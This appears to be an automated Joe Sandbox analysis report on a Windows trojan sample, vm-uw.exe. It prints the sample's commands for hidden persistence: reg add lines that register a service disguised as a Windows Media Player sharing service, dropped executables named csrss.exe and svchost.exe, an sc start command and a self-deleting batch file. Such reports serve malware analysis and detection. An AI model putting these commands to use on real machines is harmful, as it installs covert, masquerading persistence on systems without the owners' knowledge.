Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanagersvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior

Source: C:\Users\user\Desktop\vm-uw.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

File written: C:\Windows\Fonts\systkm32\1.ini

Jump to behavior

Source: vm-uw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: vm-uw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: vm-uw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: vm-uw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: vm-uw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: vm-uw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: vm-uw.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: vm-uw.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: srvany.pdb source: vm-uw.exe, 00000000.00000003.2113641386.0000000000FE6000.00000004.00000020.00020000.00000000.sdmp, vm-uw.exe, 00000000.00000003.2113871549.00000000029F0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000012.00000002.2217182264.0000000001001000.00000020.00000001.01000000.00000007.sdmp, svchost.exe, 00000012.00000000.2216197964.0000000001001000.00000020.00000001.01000000.00000007.sdmp, svchost.exe.0.dr
Source:	Binary string: srvany.pdbl"U source: vm-uw.exe, 00000000.00000003.2113641386.0000000000FE6000.00000004.00000020.00020000.00000000.sdmp, vm-uw.exe, 00000000.00000003.2113871549.00000000029F0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.2217182264.0000000001001000.00000020.00000001.01000000.00000007.sdmp, svchost.exe, 00000012.00000000.2216197964.0000000001001000.00000020.00000001.01000000.00000007.sdmp, svchost.exe.0.dr
Source:	Binary string: H:\Work\haozip\bin\Win32\release\pdb\HaoZip7zSetup.pdb source: vm-uw.exe

Source: vm-uw.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: vm-uw.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: vm-uw.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: vm-uw.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: vm-uw.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\vm-uw.exe

Code function: 0_2_001E51C0 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_001E51C0

Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_0021BDB6 push ecx; ret	0_2_0021BDC9
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_0022BE63 push ecx; ret	0_2_0022BE76
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_0022BE89 push ecx; ret	0_2_0022BE76
Source: C:\Windows\Fonts\systkm32\svchost.exe	Code function: 18_2_010021E0 push eax; ret	18_2_010021F4
Source: C:\Windows\Fonts\systkm32\svchost.exe	Code function: 18_2_010021E0 push eax; ret	18_2_0100221C
Source: C:\Windows\Fonts\systkm32\svchost.exe	Code function: 18_2_0100225B push ecx; ret	18_2_0100226B

Persistence and Installation Behavior

Drops PE files with benign system names

Source: C:\Users\user\Desktop\vm-uw.exe	File created: C:\Windows\Fonts\systkm32\csrss.exe			Jump to dropped file
Source: C:\Users\user\Desktop\vm-uw.exe	File created: C:\Windows\Fonts\systkm32\svchost.exe			Jump to dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\SysWOW64\cmd.exe	Executable created and started: C:\Windows\Fonts\systkm32\csrss.exe			Jump to behavior
Source: unknown	Executable created and started: C:\Windows\Fonts\systkm32\svchost.exe

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior

Source: C:\Users\user\Desktop\vm-uw.exe	File created: C:\Windows\Fonts\systkm32\csrss.exe			Jump to dropped file
Source: C:\Users\user\Desktop\vm-uw.exe	File created: C:\Windows\Fonts\systkm32\svchost.exe			Jump to dropped file

Source: C:\Users\user\Desktop\vm-uw.exe	File created: C:\Windows\Fonts\systkm32\csrss.exe			Jump to dropped file
Source: C:\Users\user\Desktop\vm-uw.exe	File created: C:\Windows\Fonts\systkm32\svchost.exe			Jump to dropped file

Source: C:\Windows\SysWOW64\reg.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\WMPNetworkSxc

Jump to behavior

Source: C:\Windows\SysWOW64\reg.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\WMPNetworkSxc

Jump to behavior

Source: C:\Windows\Fonts\systkm32\svchost.exe

Code function: 18_2_01001D2C StartServiceCtrlDispatcherA,GetLastError,ExitProcess,

18_2_01001D2C

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\sc.exe sc start WMPNetworkSxc

Source: C:\Users\user\Desktop\vm-uw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Uses ping.exe to sleep

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2			Jump to behavior

Source: C:\Users\user\Desktop\vm-uw.exe

Code function: 0_2_001E18A0 rdtsc

0_2_001E18A0

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\vm-uw.exe

Code function: 0_2_00224F98 FindFirstFileExW,

0_2_00224F98

Source: reg.exe, 0000000F.00000002.2184764355.0000000002890000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\Fonts\systkm32\C:\Windows\SysWOW64\reg.exereg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc\Parameters /v Application /d ""C:\Program Files (x86)\VMware\VMware Workstation\vmware.exe" -x "C:\Windows\Logs\ubu\3333.vmx"" /t reg_sz /freg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc\Parameters /v Application /d ""C:\Program Files (x86)\VMware\VMware Workstation\vmware.exe" -x "C:\Windows\Logs\ubu\3333.vmx"" /t reg_sz /fWinsta0\Default=::=::\=C:=C:\Windows\Fonts\systkm32=ExitCode=00000000ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files (x86)\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=x86PROCESSOR_ARCHITEW6432=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program Files (x86)ProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPROMPT=$P$GPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\WindowsH
Source: reg.exe, 0000000F.00000002.2184824190.0000000002A00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\Fonts\systkm32\C:\Windows\SysWOW64\reg.exereg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc\Parameters /v Application /d ""C:\Program Files (x86)\VMware\VMware Workstation\vmware.exe" -x "C:\Windows\Logs\ubu\3333.vmx"" /t reg_sz /freg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc\Parameters /v Application /d ""C:\Program Files (x86)\VMware\VMware Workstation\vmware.exe" -x "C:\Windows\Logs\ubu\3333.vmx"" /t reg_sz /fWinsta0\Defaulta$Z
Source: reg.exe, 0000000F.00000002.2184878475.0000000002D50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: regaddHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc\Parameters/vApplication/dC:\ProgramFiles(x86)\VMware\VMwareWorkstation\vmware.exe -x C:\Windows\Logs\ubu\3333.vmx/treg_sz/fOneDri
Source: reg.exe, 0000000F.00000002.2184764355.0000000002890000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc\Parameters /v Application /d ""C:\Program Files (x86)\VMware\VMware Workstation\vmware.exe" -x "C:\Windows\Logs\ubu\3333.vmx"" /t reg_sz /f
Source: vv.bat.0.dr	Binary or memory string: reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc\Parameters /v Application /d ""C:\Program Files (x86)\VMware\VMware Workstation\vmware.exe" -x "C:\Windows\Logs\ubu\3333.vmx"" /t reg_sz /f

Anti Debugging

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_001E1A90		0_2_001E1A90
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_001E1B00		0_2_001E1B00

Source: C:\Users\user\Desktop\vm-uw.exe

Code function: 0_2_001E18A0 rdtsc

0_2_001E18A0

Source: C:\Users\user\Desktop\vm-uw.exe

Code function: 0_2_0021BB7B IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0021BB7B

Source: C:\Users\user\Desktop\vm-uw.exe

Code function: 0_2_001E51C0 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_001E51C0

Source: C:\Users\user\Desktop\vm-uw.exe

Code function: 0_2_002217B3 mov eax, dword ptr fs:[00000030h]

0_2_002217B3

Source: C:\Users\user\Desktop\vm-uw.exe

Code function: 0_2_00225C60 GetProcessHeap,

0_2_00225C60

Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_0021BB7B IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0021BB7B
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_0021BD0E SetUnhandledExceptionFilter,	0_2_0021BD0E
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_0021AFAC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0021AFAC
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_0021EF9A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0021EF9A
Source: C:\Windows\Fonts\systkm32\svchost.exe	Code function: 18_2_0100229A SetUnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	18_2_0100229A

Source: C:\Users\user\Desktop\vm-uw.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Windows\Fonts\systkm32\vv.bat" "	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\HZ~F6EC.tmp.bat"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\mode.com mode con: cols=16 lines=2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\Fonts\systkm32\csrss.exe C:\Windows\Fonts\systkm32\csrss.exe WMPNetworkSxc C:\Windows\Fonts\systkm32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc /v Description /d "Shares Windows Media Player libraries to other networked players and media devices using Universal Plug and Play." /t reg_sz /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc /v DisplayName /d "Windows Media Player Network Sharing Service." /t reg_sz /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc\Parameters	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc\Parameters /v AppDirectory /d "C:\Windows\Fonts\systkm32" /t reg_sz /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc\Parameters /v Application /d ""C:\Program Files (x86)\VMware\VMware Workstation\vmware.exe" -x "C:\Windows\Logs\ubu\3333.vmx"" /t reg_sz /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc start WMPNetworkSxc	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\regini.exe regini 1.ini	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior

Source: C:\Users\user\Desktop\vm-uw.exe

Code function: 0_2_001E16C0 cpuid

0_2_001E16C0

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\vm-uw.exe

Code function: 0_2_0022450B GetSystemTimeAsFileTime,

0_2_0022450B

Source: C:\Users\user\Desktop\vm-uw.exe

Code function: 0_2_002189EC GetVersionExW,

0_2_002189EC

Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_001E1CE0 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,InitializeCriticalSection,		0_2_001E1CE0
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_001E1D80 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,		0_2_001E1D80

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Command and Scripting Interpreter	34 Windows Service	34 Windows Service	22 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	13 Service Execution	1 Scripting	11 Process Injection	1 Modify Registry	LSASS Memory	31 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	Security Account Manager	1 Remote System Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	3 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	23 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
vm-uw.exe	71%	ReversingLabs	Win32.Trojan.Zusy
vm-uw.exe	100%	Avira	TR/Reconyc.cciah

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\Fonts\systkm32\csrss.exe	0%	ReversingLabs
C:\Windows\Fonts\systkm32\svchost.exe	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://haozip.2345.cc/	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
https://haozip.2345.cc/	vm-uw.exe	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1455404
Start date and time:	2024-06-11 19:42:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	vm-uw.exe
Detection:	MAL
Classification:	mal96.troj.evad.winEXE@38/6@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 72 Number of non-executed functions: 90
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: vm-uw.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Fonts\systkm32\csrss.exe	dggw.exe	Get hash	malicious	Unknown	Browse
C:\Windows\Fonts\systkm32\csrss.exe	dgbw.exe	Get hash	malicious	Unknown	Browse
C:\Windows\Fonts\systkm32\svchost.exe	dggw.exe	Get hash	malicious	Unknown	Browse
	dgbw.exe	Get hash	malicious	Unknown	Browse
	nM8qahLjTF.exe	Get hash	malicious	Young Lotus	Browse
	8oXaMcy3Eu.exe	Get hash	malicious	Unknown	Browse
	MDE_File_Sample_5bfba9887701ce013ac7d8a80380b3f54f21e0e3.zip	Get hash	malicious	Unknown	Browse
	fillProxy_for_terminal_20210702_v1.0.0.exe	Get hash	malicious	Unknown	Browse
	fillProxy_for_terminal_20210702_v1.0.0.exe	Get hash	malicious	Unknown	Browse
	wk.exe	Get hash	malicious	Xmrig	Browse
	888888.exe	Get hash	malicious	ETERNALBLUE GhostRat Xmrig	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\HZ~F6EC.tmp.bat

Download File

Process:	C:\Users\user\Desktop\vm-uw.exe
File Type:	ASCII text, with no line terminators
Category:	modified
Size (bytes):	132
Entropy (8bit):	4.717649701325578
Encrypted:	false
SSDEEP:	3:CxK6OWR2N2+WTKCXBALW9VCSLVLx695ON2+WTKC8m:CxBR2N2RGo3CSLpA9IN2RG7m
MD5:	620ACF8E7B2F70716670A63E0385328C
SHA1:	174A65757E136944AF23DC3D02ADBAB3BEC35F0F
SHA-256:	2D5B93EACBB86909B2ED55D5A7C2CF2AF4C392A633342EEA3890A3A9AA9EB1C0
SHA-512:	C4CF92493798C25C945BA8377F450444473804619F5C8151096F10F75A03802CBE5E7EF3AC1D36DD24C8ADB4DEF781BC07FFA32EFD217513765B173EF1186962
Malicious:	false
Preview:	if not exist "C:\Users\user\Desktop\vm-uw.exe" (del %0) else (ping 127.0.0.1 -n 2&del "C:\Users\user\Desktop\vm-uw.exe"&%0)

C:\Windows\Fonts\systkm32\1.ini

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	74
Entropy (8bit):	4.978458988199209
Encrypted:	false
SSDEEP:	3:aCdgLCgT/K/TvvKXO2EF+F4cn:mLC6/KbKXO2E8n
MD5:	33568E8BAAB39EF9097F9B78FE231FB1
SHA1:	45C01839B0AFEF46EBFB4A884AB3FF24EF6ECD49
SHA-256:	E5C492B214D845AF45727327E9AECACBD9632D1AA6DCFB0308ABCDB18CA4D5E8
SHA-512:	F6F432C0ACED10FB60AA148939EC9EFA7830B98EAF8B4B93C16DC74E9955D712056F4462F93D668CFD4D9B7FF2CAB1A823F918EC0B4261F40933075F9A16C2DE
Malicious:	false
Preview:	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc [19] ..

C:\Windows\Fonts\systkm32\csrss.exe

Download File

Process:	C:\Users\user\Desktop\vm-uw.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18432
Entropy (8bit):	5.536012760236597
Encrypted:	false
SSDEEP:	384:tD7x2ARjcLagJm8lGJ3BY+SpzV5hdfjWNwG:5hRjyppV+8dYwG
MD5:	C43D1B84143FB2561F22E1A2C8FACF53
SHA1:	3F1357007F61F02F97F0AAABB8756C6ECA2ACEBD
SHA-256:	BBF4C224F9861B2C1F5A1364EE71E38728495B2709621763053B979BA88522F1
SHA-512:	27A25AB6045498E0B7131BE58556C685DFA01596675C3AF689E61D8329E1A0EFF4128C57E202C32C69271B84F57E7425C45FB5FA132EC0F5B352F86323FFA13E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: dggw.exe, Detection: malicious, Browse Filename: dgbw.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....[.2...............2....................@....@..................................................................................................................................................................................................text....(......................... ..`.bss.... ....@...........................rdata..i....`......................@..@.data...\|....p.......0..............@....idata...............@..............@....reloc...............D..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Fonts\systkm32\svchost.exe

Download File

Process:	C:\Users\user\Desktop\vm-uw.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	5.259110186515502
Encrypted:	false
SSDEEP:	96:8ldfxd/yKaP64DMI1XT3kaiyMlH38ZldnXFADkYLyAFdfcdTbGu00C:mSP64DMI1DkHMZ36kYLxFdfcdnGu00C
MD5:	4635935FC972C582632BF45C26BFCB0E
SHA1:	7C5329229042535FE56E74F1F246C6DA8CEA3BE8
SHA-256:	ABD4AFD71B3C2BD3F741BBE3CEC52C4FA63AC78D353101D2E7DC4DE2725D1CA1
SHA-512:	167503133B5A0EBD9F8B2971BCA120E902497EB21542D6A1F94E52AE8E5B6BDE1E4CAE1A2C905870A00D772E0DF35F808701E2CFBD26DCBB130A5573FA590060
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: dggw.exe, Detection: malicious, Browse Filename: dgbw.exe, Detection: malicious, Browse Filename: nM8qahLjTF.exe, Detection: malicious, Browse Filename: 8oXaMcy3Eu.exe, Detection: malicious, Browse Filename: MDE_File_Sample_5bfba9887701ce013ac7d8a80380b3f54f21e0e3.zip, Detection: malicious, Browse Filename: fillProxy_for_terminal_20210702_v1.0.0.exe, Detection: malicious, Browse Filename: fillProxy_for_terminal_20210702_v1.0.0.exe, Detection: malicious, Browse Filename: wk.exe, Detection: malicious, Browse Filename: 888888.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........6.n.e.n.e.n.e<f.e.n.e<f.e.n.e.n.e.n.e1f.e.n.e<f.e.n.eRich.n.e........PE..L......>............................O .......0...............................@................... ...........................#..d.......................................................................@............................................text...P........................... ..`.data........0......................@...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Fonts\systkm32\vv.bat

Download File

Process:	C:\Users\user\Desktop\vm-uw.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1152
Entropy (8bit):	5.3887292706534735
Encrypted:	false
